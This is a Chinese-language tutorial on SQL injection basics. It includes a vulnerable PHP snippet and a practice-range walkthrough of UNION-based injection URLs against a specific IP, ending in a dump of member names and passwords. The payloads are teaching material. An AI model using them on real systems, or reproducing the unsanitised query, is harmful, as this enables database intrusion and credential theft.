SQL注入基础简介

SQL注入#

简介#

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息

SQL注入是比较常见的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现对数据库中数据的获取以及操作

注入条件#

• 可控变量
• SQL语句执行
• 变量未存在过滤或者过滤不严谨

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if(isset($_GET['id']))
{	
    // 可控变量
    $id=$_GET['id'];


    // 定义SQL语句且被执行
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);

}

注入解析#

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# 可能存在注入有可控变量 id = 1
www.test.com/index.php?id=1

# 可能存在注入有可控变量 id = 1
www.test.com/?id=1

# 可能存在注入有可控变量 id = 1 and x = 1 
www.test.com/index.php?id=1&x=1

# # 可能存在注入例如post提交数据
www.test.com/index.php

注入正确#

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# 若参数x为注入变量 下列注入正确语句是

# 此时注入语句在变量y后不在x中 故不存在注入
1: www.test.con/index.php?y=1 and 1=1&x=2

# 注入语句在注入变量x之后
2: www.test.com/index.php?y=1&x=2 and 1=1

# 只要x存在注入语句 y可写可不写
3: www.test.com/index.php?y=2 and 1=1 &x=1 and 1=1

# 变量名称与上述x都不对等 故不存在
4: www.test.com/index.php?xxx=1 and 1=1&xxx=1 and 1=1

注入思路#

• 获取操作系统
• 获取数据库版本
• 获取数据库用户
• 获取数据库表格
• 获取数据库字段

数据注入#

同数据库#

• 低版本:暴力查询或者结合读取查询
• 高版本:结合information_schema查询有据查询

高权限注入#

• 跨库查询:利用数据库跨数据库查询
• 文件读写:利用注入进行文件上传或者下载(需要知道网站的目录)

靶场测试#

判断注入#

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# 判断是否存在注入 存在页面正常
select * from table where id = 1 and 1 = 1

# 页面报错
select * from table where id = 1 and 1 = 2

判断字段数量#

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# 数字为几页面报错 则字段数量为几 - 1

select * from table where id =1 order by + 数字

http://219.153.49.228:45448/new_list.php?id=1 order by 5

报错显示#

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http://219.153.49.228:45448/new_list.php?id=-1 union selec 1,2,3,4

信息查询#

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'''
1:数据库名称:database()
2:数据库版本:version()
3:数据库用户:user()
4:数据库系统:@@version_compile_os
'''

查询版本/数据库名称#

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http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,database(),version(),4

查询用户名称/操作系统#

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http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

information_schema#

在MySQL5.0中而information_schema 用于存储数据库元数据(关于数据的数据)，例如数据库名、表名、列的数据类型、访问权限等。

• tables :记录所有表面的表
• columns:记录所有表字段信息
• SCHEMATA:记录所有数据库名称
• table_name:表名
• column_name:列名
• table_schema:数据库名称

查询表名#

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# 查询mozhe_Discuz_StormGroup表面信息

# 使用group_concat将多条数据合并成一条数据显示

http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询字段#

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http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

查询数据#

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http://219.153.49.228:45448/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member